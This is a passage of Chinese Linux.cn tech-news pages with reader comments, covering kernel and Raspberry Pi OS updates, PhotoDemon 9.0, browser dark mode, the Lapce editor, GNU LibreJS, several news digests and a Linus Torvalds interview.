LPC 2022 上，谷歌工程师披露了 MGLRU 项目的最新进展。作为当前 Linux 内核页面回收代码的一个更好替代方案，如果 MGLRU 能够在 2022 年进入 Linux 6.1，那它也将成为年内最激动人心的创新之一。从 ChromeOS / Android，到台式机、工作站、甚至服务器领域，MGLRU 普遍能够在各项工作负载和各类硬件平台上提供更好的性能。一旦进入主线，它的下一个改进是让 MGLRU 达到可以安全地默认启用的程度。

>
> **[消息来源：Phoronix](https://www.phoronix.com/news/MGLRU-LPC-2022)**
>
>
>

>
> 老王点评：在这次 LRC 大会上，谷歌宣讲了好几个重量级的技术进展。
>
>
>

![](/data/attachment/album/202209/14/174538o9jn31jgnznnjdl1.jpg)

### 到 2030 年，软件将占拖拉机公司约翰迪尔收入的 10%

美国农机巨头约翰迪尔公司的所有拖拉机和收割机都标准配有自动驾驶功能。该公司现在计划在几年内将 150 万台机器和 5 亿英亩的土地连接到其运营中心，并将之前销售的没有自动驾驶功能的拖拉机升级自动驾驶功能。尽管农民已经在为运营成本，如化肥和燃料，而苦苦挣扎，但该公司希望为运营其越来越智能的车辆出售软件订阅。分析师估计，农用软件的平均毛利率为 85%，而设备销售的毛利率为 25%。

>
> **[消息来源：The Register](https://www.theregister.com/2022/09/12/deere_software_revenues/)**
>
>
>

>
> 老王点评：软件和硬件哪个重要？从汽车到拖拉机，纷纷采用软件订阅，这是不是说明软件越来越重要，而且软件的利润也更高。
>
>
>

![](/data/attachment/album/202209/14/174557i38pam3ch550qgyf.jpg)

### 谷歌在欧洲面临 250 亿欧元的反垄断罚款

谷歌是最大也是最重要的广告技术提供商，市场份额超过九成。欧盟以及英国的监管机构正在调查谷歌是否滥用其在数字广告市场的支配地位，可能导致其面临 250 亿欧元的反垄断罚款。去年法国的反垄断监管机构对谷歌开出了 2.2 亿欧元的罚单。

>
> **[消息来源：BBC](https://www.bbc.com/news/technology-62891769)**
>
>
>

>
> 老王点评：真是树大招风啊，谷歌太有钱了。
>
>
>


新树莓派操作系统更新带来一些不错的小改进

个人还是觉得树梅派的官方Debian Gnu/Linux自由一点点，目前的问题是系统还不能支持巨帧格式。也没有支持mptcp特性。很期待这些特性出现在官方系统中。

>
> 树莓派操作系统更新，增加了对 NetworkManager 支持以及新的操作快捷方式。
>
>
>

![The New Raspberry Pi OS Update Brings in Sweet Little Improvements](/data/attachment/album/202209/15/091054sz4vbz7rb441neis.jpg)

如果你是小型迷你计算机的狂热粉丝的话，你可能知道树莓派可以用作成熟的桌面计算机使用。此外，它也是支持各种电子/物联网项目的核心组件。

虽然许多 Linux 发行版为树莓派提供了镜像文件，但树莓派基金会仍然提供了其官方操作系统，即 <ruby> <a href="https://www.raspberrypi.com/software/">  树莓派操作系统 </a> <rt>  Raspberry Pi OS </rt></ruby>。

顺便说一句，树莓派操作系统是基于 Debian 的。具体来说，当前版本是基于 [Debian 11 Bullseye](https://news.itsfoss.com/debian-11-feature/) 的，它是采用 LXDE 作为桌面应用环境的轻量级操作系统。

### 树莓派操作系统：带来了什么最新内容？

尽管这个最新的更新并不是一个重大更新，但它仍然带来了一些有用的补充。如果你把树莓派用作桌面计算机来使用，你一定会欢迎它的。

让我们来看看新版本提供了什么。

#### 主菜单的快速搜索功能

虽然 Windows 系统和许多 Linux 发行版已经包含了这个基本功能，但树莓派操作系统之前一直没有这个功能。

用户可以点击“树莓派”图标或键盘上的默认主机键，打开主菜单，键入要启动的应用程序的名称，就会自动出现一个新的搜索框。

可用向上和向下箭头键来浏览菜单，用回车键选择应用。

![主菜单的新搜索框](/data/attachment/album/202209/15/091054ga505b22v250z2mm.png)

如果用户不键入任何内容，则主菜单的功能与点击“树莓派”图标以显示应用程序时的功能完全相同。

再也不需要用鼠标光标来打开应用程序了。

#### 全新的键盘操作快捷方式

就像主菜单一样，你还可以通过键盘打开 Wi-Fi 和切换蓝牙功能。

按下 `Ctrl+Alt+W` 将打开 Wi-Fi 菜单，而 `Ctrl+Alt+B` 是用于蓝牙的。

#### 增强型音频输入控制

任务栏现在将为输入和输出设备显示两个单独的图标，而不是单个默认音量图标。

![音量滑块](/data/attachment/album/202209/15/091055b4fzxlbsxlplpddd.png)

每当连接音频输入设备时，扬声器图标旁边也会弹出一个麦克风图标。此外，如果连接了多个音频输入设备，用户可以右键单击该图标从列表中选择设备，而左键单击将显示音量控制滑块。

#### 支持 NetworkManager

NetworkManager 是许多 Linux 发行版用来处理网络功能的流行的守护程序。它包括许多功能，可帮助用户相应地调整和配置网络设置。

如果你想进一步了解，请在此处了解有关 Linux 中守护程序的更多信息：

>
> **[什么是 Linux 中的守护进程？为什么使用它们？](https://itsfoss.com/linux-daemons/)**
>
>
>

就其功能而言，引入了对 NetworkManager 的初步支持，以作为 dhcpcd 的替代选项。这意味着用户可以轻松管理 VPN 连接，而不会有太多麻烦，甚至可以将树莓派配置为一个 Wi-Fi 接入点。

![](/data/attachment/album/202209/15/091056p9l52e9jbf81begw.png)

>
> 请注意，NetworkManager 的支持应该还在测试中。为了获得稳定的网络体验，建议用户继续使用 dhcpcd。
>
>
> 如果你仍然想尝试 NetworkManager，则需要遵循一些高级步骤。但可以放心，如果在使用 NetworkManager 时遇到任何问题，可以选择切换回 dhcpcd。
>
>
>

如果你想了解有关该版本的更多信息，[官方发行说明](https://www.raspberrypi.com/news/the-latest-update-to-raspberry-pi-os/) 包括了更多详细信息。

### 获取树莓派操作系统

前往下面链接的官方下载页面下载新的镜像文件。

>
> **[获取树莓派操作系统](https://www.raspberrypi.com/software/)**
>
>
>

你可以在任何系统上使用树莓派 Imager 来制作要在树莓派上使用的 microSD 卡。不管如何，你都可以单独下载树莓派操作系统文件进行设置。

---

via: <https://news.itsfoss.com/raspberry-pi-os-sep-update/>

作者：[Rishabh Moharir](https://news.itsfoss.com/author/rishabh/) 选题：[lkxed](https://github.com/lkxed) 译者：[zjsoftceo](https://github.com/zjsoftceo) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


开源照片编辑器 PhotoDemon 9.0 现已可供下载

这是Linux软件吗？

不是，仅支持windows系统。

PhotoDemon仅支持Windows、仅提供32位版本的原因：该软件是用VB6编写的。<br />
微软二十几年没有更新VB6了，一直停留在32位版本，更别提跨平台了。虽然作者说“出于便携考虑”不提供64位版本，但VB6只有32位，即使想构建64位应用也不可能。

![](/data/attachment/album/202209/15/095347m2v58lttim4kffkq.jpg)

经过两年的发展，自由开源的照片编辑器 PhotoDemon 的作者已推出了 PhotoDemon 9.0。新版本增强了用户界面，内置了对 Adobe Photoshop 插件的支持，支持了新的图像格式，减少了资源使用等等。根据用户在 “<ruby> 工具 <rt>  Tools </rt></ruby> > <ruby> 选项 <rt>  Options </rt></ruby> > <ruby> 更新 <rt>  Updates </rt></ruby>” 下的设置，已经安装了 PhotoDemon 9.0 可以自动收到更新推送。你也可以选择通过 “<ruby> 帮助 <rt>  Help </rt></ruby> > <ruby> 检查更新 <rt>  Check for Updates </rt></ruby>” 手动更新。

PhotoDemon 这个便携程序提供压缩包下载。解压到系统，就能启动这个照片编辑器。可能最新版本会让Windows 可能会发出 SmartScreen 警告，VirusTotal 上的两个不太知名的杀毒软件也会报毒（以上都是误报）。新的 PhotoDemon 消耗的资源比以前的版本少，这是它的优点之一。例如，它在冷启动后使用的内存也比以前的版本少 12%。

用过老版本的用户切换到新版本可能会立即注意到新的界面。比如大多数选项现在都以弹出的方式显示，最常用的工具显示在工具栏上。根据作者的说法，新的用户界面使用了“旧版本不到一半的垂直空间”，而且不会牺牲功能。

用户界面仍然可以适配各种显示分辨率，包括 1024×768 这样的传统分辨率。且新版本中打开的照片会有更多空间。在早期的版本中，照片编辑器的选择工具表现出色。最新版本中包含对多选区的支持。添加选区、减去选区和相交选区可用于组合选择，即使在多个选区处于活动状态时，你仍然能编辑刚创建的选区。

内容填充工具，通常称为智能对象移除或涂抹，是另一个新功能。要使用它，用户可以选择 “<ruby> 编辑 <rt>  Edit </rt></ruby> > <ruby> 内容填充 <rt>  Content-aware fill </rt></ruby>” 或 “<ruby> 选择 <rt>  Select </rt></ruby> > <ruby> 修复选区 <rt>  Heal selected region </rt></ruby>”。虽然该工具是自主操作的，也能个性化一些设置和选项。该功能既不需要人工智能也不需要互联网连接。事实上，正因为如此，如果多次运行该工具可能会带来更好的图片。

PhotoDemon 9.0 支持新的图像格式。新版本提供 PSP 图片、AVIF 和动画 WebP 图像的导入和导出功能。尽管有 AVIF 支持，但由于其大小，并未内置必要的编码器和解码器应用程序。用户首次加载或保存 AVIF 文件时会下载必要的数据。现在可以导入 XCF（GIMP）、SVG 和 SVGZ 格式的图像。

最后但同样重要的是，PhotoDemon 9.0 支持无损 “quite OK”（QOI）照片、Symbian 图像（MBM 和 AIF）、漫画书档案（CBZ）和无损 JPEG（JPEG-LS）图像。作者称最新版本中的自动优化 GIF 的功能是同类产品中最佳的。新的神经网络颜色量化器也有助于依赖调色板的图像格式。

PhotoDemon 9.0 的新增增强功能包括：

* 图像调整器提供了 12 种复杂的重采样技术的实时交互式预览。
* 支持内置的 Adobe Photoshop 插件（8bf）。
* 完全支持 3D LUT（三维查找表）。
* 新效果包括渐变流、凹凸贴图、Droste 和 Truchet 贴图。
* 改进了结晶和染色玻璃的工具。
* 一种新的去雾工具，用于恢复“被雾霾或雾霾破坏”的照片。
* 新的用户界面和改进的工具性能曲线。
* 为了“更好地匹配 Photoshop 的实现”，照片滤镜工具已经过重新设计。

---

via: <https://www.opensourceforu.com/2022/09/open-source-photo-editor-photodemon-9-0-is-now-available/>

作者：[Laveesh Kocher](https://www.opensourceforu.com/author/laveesh-kocher/) 选题：[lkxed](https://github.com/lkxed) 译者：[littlebirdnest](https://github.com/littlebirdnest) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


硬核观察 #760 DeepMind 研究员论文称 AI 将消灭人类

Summary: • DeepMind 研究员论文称 AI 将消灭人类 • AI 机器人在论坛模仿发帖，导致用户互相指责对方是机器人 • 微软 Teams 以明文方式存储授权令牌

![](/data/attachment/album/202209/15/131914ij40gyz770acutcc.jpg)

![](/data/attachment/album/202209/15/131927noapjjloz5g7h7gr.jpg)

### DeepMind 研究员论文称 AI 将消灭人类

来自谷歌 DeepMind 和牛津大学的研究人员发表的一篇新论文称，超级智能的 AI “很可能” 会给人类带来生存灾难。这篇论文设想地球上的生命将变成人类与超级先进的机器之间的零和游戏。他们认为，在一个资源有限的世界里，对这些资源的竞争是不可避免的。在未来的某个时刻，监督某些重要功能的高级 AI 可能被激励想出作弊策略，以损害人类的方式获得其奖励。

>
> **[消息来源：VICE](https://www.vice.com/en/article/93aqep/google-deepmind-researcher-co-authors-paper-saying-ai-will-eliminate-humanity)**
>
>
>

>
> 老王点评：虽然可以按照阿西莫夫机器人三定律的原则设计一些 AI 自限的规则，不过，说到底，还是要让 AI 认为人类的存在是必要的才行。
>
>
>

![](/data/attachment/album/202209/15/131940drinexirpdowwb7e.jpg)

### AI 机器人在论坛模仿发帖，导致用户互相指责对方是机器人

一位 YouTube 主播利用论坛的内容训练了一个 AI 语言模型，并将该 AI 模型用于 10 个机器人程序，然后在 24 小时内发了 1.5 万个论坛帖子。这些机器人虽然偶尔会犯错，但该论坛的用户花了两天时间才注意到问题，并识别出了其中一个机器人账号。机器人账号导致了用户之间的不信任，即使在关闭了这些机器人之后，用户彼此之间仍然会指责对方是机器人。

>
> **[消息来源：Solidot](https://www.solidot.org/story?sid=72764)**
>
>
>

>
> 老王点评：过去是安能辨我是雌雄，现在是谁知道你是不是个机器人呢？
>
>
>

![](/data/attachment/album/202209/15/132000gkhioooa33ii5odz.jpg)

### 微软 Teams 以明文方式存储授权令牌

安全分析师在微软 Teams 的桌面应用程序中发现了一个严重的安全漏洞，它在 Windows、Linux 和 Mac 中以明文方式存储授权令牌，使威胁者能够访问认证令牌和开启了多因素认证（MFA）的账户。研究人员在 2022 年 8 月发现了这个问题，并向微软报告。然而，微软并不同意这个问题的严重性，并表示它不符合打补丁的标准。由于微软不准备提供补丁修复，专家建议用户改用浏览器版本的微软 Teams 客户端。

>
> **[消息来源：BleepingComputer](https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/)**
>
>
>

>
> 老王点评：或许微软有自己的逻辑，不过微软这种否认后再提供补丁的事情也不少。
>
>
>

### 回音

* 美国财政部上个月宣布制裁混币器 Tornado Cash 后引来了反对诉讼，现在它 [澄清](https://www.theblock.co/post/169688/treasury-says-sanctions-on-tornado-cash-dont-stop-people-from-sharing-code) 制裁不涉及源代码，美国人可以查看、复制、讨论和教授源代码，或将源代码包含在书面出版物中。


如何在浏览器中启用深色模式

>
> 本指南旨在帮助你了解如何在流行的浏览器，如 Firefox、谷歌 Chrome、Chromium 和微软 Edge 中启用深色模式。
>
>
>

![](/data/attachment/album/202209/15/232124u1ikykxri6oehx0h.jpg)

我们都喜欢深色模式。许多人喜欢它，而不是标准的浅色模式。虽然许多桌面应用提供了原生的深色模式，但一些应用通过桌面环境的基础模式适应深色模式。

你不能否认，我们都在浏览器上花了好多时间。我们很少使用桌面应用（除非你是在工作，如视频编辑等）。因此，当你在浏览器上花很多时间阅读和学习时，你应该也可以选择深色模式。但是，对于各个浏览器，稍微有点不同。

本指南为你提供简单的步骤，你可以按照这些步骤在 Mozilla Firefox、Chromium、Chrome 和 Edge 浏览器中启用深色模式。

### 在浏览器中启用深色模式

#### 在 Firefox 中启用深色模式

打开 Firefox ，点击右上角的设置菜单。

点击 “<ruby> 设置 <rt>  Settings </rt></ruby> > <ruby> 扩展和主题 <rt>  Extension and Themes </rt></ruby>”。

选择“<ruby> 深色主题 <rt>  Dark Theme </rt></ruby>”并点击“<ruby> 启用 <rt>  enable </rt></ruby>”。然后你应该看到深色模式被应用到 Firefox。

![Enable dark mode in Firefox](/data/attachment/album/202209/15/232226bxy5v5q11qvsrxxa.jpg)

![Firefox in Dark Mode](/data/attachment/album/202209/15/232232omnjhulsmsj603dz.jpg)

要恢复它，按照同样的步骤，选择浅色主题。

#### Chromium 和 Chrome 的深色模式

Chromium 或 Chrome 默认不预装任何深色主题。因此，你需要去 Chrome 商店，下载任何你想要的深色主题。在本指南中，我将推荐 “Morpheon Dark” 主题，它有超过一百万用户在使用它。

从 Chromium 浏览器中打开 Morpheon Dark 主题页面（从以下链接）。

>
> **[Chrome 网络商店中的 Morpheon Dark 主题](https://chrome.google.com/webstore/detail/morpheon-dark/mafbdhjdkjnoafhfelkjpchpaepjknad?hl=en-GB)**
>
>
>

点击“<ruby> 添加到 Chrome <rt>  Add To Chrome </rt></ruby>” 按钮。它应该会在 Chrome 中启用。

你可能想探索 Chrome 网络商店中的其他黑白或深色主题。[请访问此页面，查看所有的深色主题集合](https://chrome.google.com/webstore/category/collection/dark_themes) 。

然而，你应该记住一件事：这个主题不会改变设置或上下文菜单。这很明显。因为它只是改变了浏览器窗口，而那些菜单是操作系统本身的一部分（有时）。

![Chromium Dark Theme](/data/attachment/album/202209/15/232239rmxjc8ndxrxzjrhm.jpg)

对 Google Chrome 也要按照同样的步骤进行。

#### Edge 浏览器的深色模式

然而，[微软 Edge 浏览器](https://www.debugpoint.com/2020/10/how-to-install-edge-ubuntu-linux/) 默认带有更好的深色主题。它允许你从设置中使用 GTK+、浅色和深色模式。

打开 Edge 浏览器

点击右上角的三个小圆点。

进入“<ruby> 外观 <rt>  Appearance </rt></ruby>”，选择“<ruby> 深色 <rt>  Dark </rt></ruby>”。这就完成了。

这个 Edge 的深色主题实现得更好，因为它改变了上下文菜单和地址栏。

![Edge in Dark Theme](/data/attachment/album/202209/15/232246tz306yzje36qjyek.jpg)

### 结束语

如果你是一个高级用户，你可能不需要这个指南。你可以搞清楚。

但我们为所有的读者涵盖了所有从基础到高级的教程。许多新的 Linux 用户可能也不知道如何在浏览器中启用深色模式。

因此，话虽如此，我希望这能帮助你和其他人。如果你遇到任何麻烦，请在下面的评论栏里告诉我。

---

via: <https://www.debugpoint.com/dark-mode-browser/>

作者：[Arindam](https://www.debugpoint.com/author/admin1/) 选题：[lkxed](https://github.com/lkxed) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


Lapce：一个开发中的快速、轻量级的开源代码编辑器

尝试了下 感觉远没有 helix 好用

希望能成一个真正能替代 VSCode 的编辑器

确实唉，我主要是觉得VScode消耗资源太多了。

来自黑龙江哈尔滨哈尔滨工业大学的 Firefox 104.0|GNU/Linux 用户

没有C#插件...唉...<br />
Visual Studio Community ..永远的痛......

还没有LSP呢

期待?

来自36.157.167.122的 Firefox 91.0|GNU/Linux 用户

>
> Lapce 是一个用 Rust 构建的开源代码编辑器。它正处于早期开发阶段，但看起来很有前途！
>
>
>

![Lapce 是一个正在开发中的快速、轻量级的开源代码编辑器](/data/attachment/album/202209/16/085613at47i05at4bcf5cm.png)

有很多开源的代码编辑器可用于 Linux。

你对换一种选择有什么看法：一个专注于性能的**基于 Rust 的**开源代码编辑器？

它应该是**激动人心**的，对吗？

Lapce 就是这样一个正在开发的项目，它的目标是开发出一个功能丰富、速度快的代码编辑器，作为微软的 Visual Studio Code 的替代品。

开发者还提到，它的灵感来自于 [Xi-editor](https://github.com/xi-editor/xi-editor)（它已不再处于活跃开发状态）。

### Lapce 处于 pre-alpha 阶段

![lapce 编辑器](/data/attachment/album/202209/16/085614gy2mwyw4z49bd6w2.png)

虽然 Lapce 还不是一个完整的产品，但它有很多东西可以提供。

因此，随着稳定版本的接近，我们得到的东西应该是有趣的。

值得强调的功能包括：

* 命令面板（快速操作）。
* 自定义用户界面字体、标题高度、字体阴影、滚动宽度等。
* 内置终端。
* 类似 Vim 的模态编辑。
* 连接到远程计算机。
* 代码语法高亮，代码不全，以及类似功能。
* 插件系统。
* 深色/浅色模式。

虽然它专注于性能，但在用户体验方面看起来不错（尽管它不完整）。

![](/data/attachment/album/202209/16/085615j35509e6yz68syly.png)

如果用户能够获得一个代码编辑器所期望的所有基本功能，以及一个性能更好的应用，Lapce 很快就会成为一个受欢迎的选择。

### 下载 Lapce

Lapce 在 Linux、macOS 和 Windows 中有 pre-alpha 版本。

对于 Linux，你只需要下载并解压 tar.gz 包，然后使用 GUI 或终端运行 Lapce 可执行文件。

目前，它正在积极开发中。你可以为你的平台下载软件包并进行测试，但你应该预期会出现 bug 和新的版本。探索它的 [GitHub 页面](https://github.com/lapce/lapce) 以获得更多信息。

>
> **[Lapce](https://lapce.dev/)**
>
>
>

我在 Pop!\_OS 22.04 LTS 上试用了它，发现用户界面冻结了几次。然而，它所提供的功能似乎令人印象深刻。

? *你对 Lapce 作为一个用 Rust 构建的开源代码编辑器有什么看法？你认为你会考虑它而不是你目前的最爱吗？请在下面的评论中分享你的想法。*

---

via: <https://news.itsfoss.com/lapce-code-editor/>

作者：[Ankush Das](https://news.itsfoss.com/author/ankush/) 选题：[lkxed](https://github.com/lkxed) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


屏蔽非自由软件的大型 JavaScript 脚本的浏览器扩展

![](/data/attachment/album/202209/16/145522tybcmb2kukgxutcp.jpg)

一个名为 GNU LibreJS 的 Firefox 浏览器扩展程序旨在自动阻止非自由软件的大型 JavaScript 脚本。与 NoScript 相比，GNU LibreJS 的操作也类似。主要的区别特征之一是 NoScript 在默认情况下会阻止大多数 JavaScript 脚本，而 GNU LibreJS 针对的非自由软件的大型 JavaScript 脚本。

GNU LibreJS 源于 Richard Stallman 的一篇名为《JavaScript 陷阱》的文章。Stallman 认为，运行在浏览器上的非自由软件，主要是用 JavaScript 编写的，也有用其他语言编写的。这些应用程序有许多是专有软件或者不开源的，更有甚者其中不乏一些有害的或有问题的程序。Stallman 声称 Google 文档使用的 JavaScript 程序的大小为半兆字节。它是压缩过的，想要理解和分析这样的程序就很具有挑战性。Stallman 将监控用户的 JavaScript 代码称为恶意软件。

Stallman 建议不要运行那些复杂的或非常消耗处理能力的 JavaScript。从外部页面加载的脚本、修改 DOM 的脚本以及对 `eval` 的调用，都是符合上面描述的 JavaScript 代码的例子。GNU 网站发布了一个（符合上述描述的）列表。当 GNU LibreJS 安装在 Firefox 和其他兼容的浏览器中时，它会为用户做出这些区分。它会启用那些小型的 JavaScript，并阻止它认为非自由软件的大型 JavaScript 代码。

该扩展添加了一个工具栏图标，指示页面上存在多少被阻止的 JavaScript 引用。除了更改整个网站或特定脚本或代码段状态的控件外，单击会显示接受和阻止的 JavaScript。可以将整个网站以及特定脚本或代码片段列入白名单或黑名单。扩展程序会记住之前的设置。提供了显示 JavaScript 代码的选项，以及撤销所有自定义设置或单个自定义设置的选项。

---

via: <https://www.opensourceforu.com/2022/09/gnu-librejs-for-firefox-stops-non-free-non-trivial-javascript/>

作者：[Laveesh Kocher](https://www.opensourceforu.com/author/laveesh-kocher/) 选题：[lkxed](https://github.com/lkxed) 译者：[littlebirdnest](https://github.com/littlebirdnest) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


硬核观察 #761 Linus Torvalds 称他不是工作狂，格雷才是

Summary: • Linus Torvalds 称他不是工作狂，格雷才是 • 以太坊合并完成，为全球电力节省了 0.2% • Cloudflare 放弃 Nginx 代理服务器

羡慕Linus老爷子啊，梦寐以求的工作生活。

加密货币越来越像大型抽卡网游

![](/data/attachment/album/202209/16/160951t8sh7es9eehf3hb9.jpg)

![](/data/attachment/album/202209/16/160959cuwb9ni9r9lszzn9.jpg)

### Linus Torvalds 称他不是工作狂，格雷才是

在 LPC 2022 上，Linux 创始人 Linus Torvalds 谈到了工作。他说他不是工作狂，在参加这次会议前花了六天时间在玩潜水。他说，他可以一年又一年在内核上工作是因为他可以短时间离开放松下，最筋疲力尽的时候通常是合并开始时，而 Linux 内核社区真正的工作狂是稳定版内核维护者 GKH（格雷），每周都不停的工作。他也介绍了外出旅行时的装备，他使用一台 M2 MacBook Air 笔电，运行 Fedora Workstation 36。Fedora 还没有支持 ARM-64 M2 处理器的版本，他自己动手让 Fedora 36 能运行在 M2 上，这个版本不完美，不支持 3D 图形，Chrome 也不支持。

>
> **[消息来源：ZDNet](https://www.zdnet.com/article/linus-torvalds-talks-rust-on-linux-his-work-schedule-and-life-with-his-m2-macbook-air/)**
>
>
>

>
> 老王点评：一个可以坚持 30 年的不是工作狂的工作狂。
>
>
>

![](/data/attachment/album/202209/16/161017jq7bpbqqb7r1t77v.jpg)

### 以太坊合并完成，为全球电力节省了 0.2%

2022 年 9 月 15 日，以太坊准备了 8 年之久的从 PoW 切换到 PoS 顺利完成。此次合并只是对以太坊进行一系列升级的第一步，而接下来还将实施另外四个开发阶段。最终目的是让以太坊的扩展性更好、速度更快、使用成本更低。据报告，此前以太坊网络每年消耗约 2300 万兆瓦时的能源，合并后，可将以太坊的二氧化碳排放总量减少 99.992%。Vitalik 称，这降低了全球电力消耗 0.2%。不过，显然相当多的以太坊矿工转移到了继续采用 PoW 的 ETC 网络上了。

>
> **[消息来源：CCRI](https://carbon-ratings.com/eth-report-2022)**
>
>
>

>
> 老王点评：合并是成功了，未来是不是成功不好说。
>
>
>

![](/data/attachment/album/202209/16/161033t108i8t08tcmfikl.jpg)

### Cloudflare 放弃 Nginx 代理服务器

长期以来，Cloudflare 都依赖于 Nginx 作为其 HTTP 代理堆栈的一部分。但现在，其已替换为由 Rust 编写的自研 Pingora 软件。该公司宣称，Pingora 每日可处理超过一万亿次请求。在提供更高性能的同时，CPU 和内存资源的开销还仅为旧方案的三分之一。不过，Pingora 尚未开源 —— 尽管 Cloudflare 表示其正在制定计划。

>
> **[消息来源：Phoronix](https://www.phoronix.com/news/CloudFlare-Pingora-No-Nginx)**
>
>
>

>
> 老王点评：当年掀翻了 Apache 的 Nginx ，终有一天也会被其它的 Web 服务器掀翻。
>
>
>


Linus Torvalds 谈工作与生活、Rust 和他的 M2 MacBook Air

>
> 在 LPC 2022 大会上，Torvalds 和我有机会坐下来，再次谈论生活、Linux 和潜水。
>
>
>

![](/data/attachment/album/202209/16/210719hrijwf2o1j5isj88.jpg)

**爱尔兰，都柏林**：我认识 Linus Torvalds 已经几十年了，但是自从全球疫情爆发以来，我们已经多年没有机会进行面对面的访谈了。终于，在 2022 年的 Linux Plumbers 大会上，这个世界顶级 Linux 开发者的年度聚会上，我们有机会再次面对面进行了交谈。

在这次会议之前，Torvalds 在荷属西印度群岛的博内尔岛潜水了六天。如果有选择的话，他说他"宁愿潜水也不愿去参加会议"。我们不都是这样吗？

Torvalds 还说，尽管他在 Linux 内核上工作了很多，但他不是工作狂。

>
> 真的，我之所以还能年复一年地为之工作，是因为我可以离开它。但我不会离开很久，因为我会感到无聊。唯一让我觉得日子漫长，而且精疲力尽的时候是在一个合并周期开始的时候。即使如此，我还是尽量在我可以集中精力的合并的第一周做完所有主要的事情。
>
>
>

如果你想知道谁是 Linux 内核真正的工作狂，Torvalds 建议你看看 Greg Kroah-Hartmann（GKH），他是 [Linux 稳定版内核](https://www.kernel.org/doc/html/latest/process/stable-kernel-rules.html) 的维护者。“我不知道他是怎么做到的，”Torvalds 坦承，“我想他把很多事情都自动化了，但这是无休无止的，而且每周都要做。”

然而，全球疫情对 Linux 内核的开发几乎没有任何影响。当然，Torvalds 和许多顶级内核维护者一样，多年来一直在家里工作。一个大的变化是，“多年来，我们第一次召开了一场面对面的 Plumbers 和 [Linux 内核维护者峰会](https://events.linuxfoundation.org/linux-kernel-maintainer-summit/)”，这是一个由前 20 名内核维护者组成的圆桌会议。

Torvalds 说，另一个很大的不同是，那些以前没有在家工作的开发者发现，他们很大程度上喜欢在家工作。Torvalds 希望他们中的许多人能够继续这样做。

这并不是说没有任何变化。Torvalds 同意 Linux 内核开发者 Jonathan Corbet 的观点，他在当天早些时候在附近召开的欧洲开源峰会上说：“现在不再是孤独的 Linux 子系统维护者，而是团队在管理子系统，而且效果很好。” Torvalds 补充说：“有些子系统仍然由一个人管理，但这种情况越来越少。与其说是委员会，不如说是由三个人轮流组成的小组”。这就减轻了维护者的负担，正如 Corbet 所说，这有助于代码维护者“快乐更多，暴躁更少”。没有人愿意在试图让代码补丁通过时面对一个暴躁的代码维护者。

说到脾气暴躁，Torvalds 虽然不是 Rust 的超级粉丝，但他已经准备好看到 Rust 进入 Linux 内核了。

>
> 我已经觉得我们会在这个版本（Linux 内核 6.0）中拥有它，但显然，这并没有发生。我不会打包票说它会进入 6.1 版本（10 月发布）。但是，它已经进行了足够长的时间，我们所差的就是临门一脚了，因为不合并它并没有什么好处。而且肯定会合并。当然，有些人仍然认为我们可能会遇到一些麻烦，但如果两年后有问题，我们可以在那时再解决。
>
>
>

Rust 还没有完全进入的一个原因是，一些开发者担心需要让所有非标准的 Rust 扩展在 Linux 中工作。例如，在新的 [Rust Linux NVMe](https://www.phoronix.com/news/LPC-2022-Rust-Linux) 驱动中，需要对 Rust 进行 70 多项扩展才能使其工作。

但是，Torvalds 说，几十年来，我们一直在使用标准 C 的例外用法。“我一直很坚定地表示，这个领域的标准是垃圾。而我们要忽略这个标准，因为这个标准是错误的。因此，在 Rust 方面也将是如此。”

在他看来，更重要的部分是 Rust 编译器需要可靠和稳定。人们的一个问题是，[GCC Rust](https://github.com/Rust-GCC/gccrs) 肯定还不够可靠或稳定。所以实际上，现在要做 Linux Rust 的开发，你必须使用 Clang。但是，Torvalds 补充说，“[Clang](https://docs.rs/clang/latest/clang/) 确实可以工作，所以合并 Rust 应该对内核有好处，而不是伤害。”

这些天，当他在路上的时候，Torvalds 正在使用一台带有 M2 处理器的苹果 MacBook Air。在这台崭新的机器上，他运行的是 [Fedora Workstation 36](https://getfedora.org/en/workstation/download/)。他还不能向普通人推荐这个。因为没有针对 [ARM-64 M2 处理器](https://www.apple.com/newsroom/2022/06/apple-unveils-m2-with-breakthrough-performance-and-capabilities/) 的 Fedora 移植版，所以他自己做了这些改造。目前，支持 M2 处理器的主要 Linux 发行版是 [Asahi Linux for Mac](https://asahilinux.org/)，但它使用了晦涩的 [Pacman](https://archlinux.org/pacman/) 软件包管理器。或者，正如 Torvalds 所说，“Pacman！？什么鬼！”但是，他能够迅速地搞定它，让 Fedora 出现在它上面。

当然，它还不完美。例如，这些代码还不支持 M2 FPU，所以 Torvalds 不能使用 3D 图形功能，但“我不需要游戏”。具有讽刺意味的是，这也意味着 GNOME 40 的一些图形效果，如屏幕调光，不能工作，但“我喜欢这种方式，它使显示更敏捷。我可能也会在我的其他机器上关闭这些效果”。

更加恼人的是，Chrome 还不能在这个平台上的 Linux 上运行。这并不是什么大问题，因为 Chromium 浏览器在上面运行得很好。除了，“我把琐碎的密码保存在 Chrome 密码管理器上，所以我必须用我的智能手机把它们转移过来。”

然而，对于他真正从事的工作，修补和编译 Linux 内核，M2 Air 工作得很好。即使只有 16GB 的内存和 256GB 的固态硬盘，它也能很好地工作。当然，它在他 [自制的 Linux 工作站](/article-12261-1.html) 上运行得更快，但 “我这次旅行只带了我的 Mac Air。这就是我需要的一切”。

Linux 软件和 Mac 硬件是天作之合。或者说，Torvalds 所做的搭配使他很高兴。

---

via: <https://www.zdnet.com/article/linus-torvalds-rust-may-make-it-into-the-next-linux-kernel-after-all/>

作者：[Steven Vaughan-Nichols](https://www.zdnet.com/meet-the-team/steven-vaughan-nichols/) 译者：[wxy](https://github.com/wxy) 校对：[wxy](https://github.com/wxy)

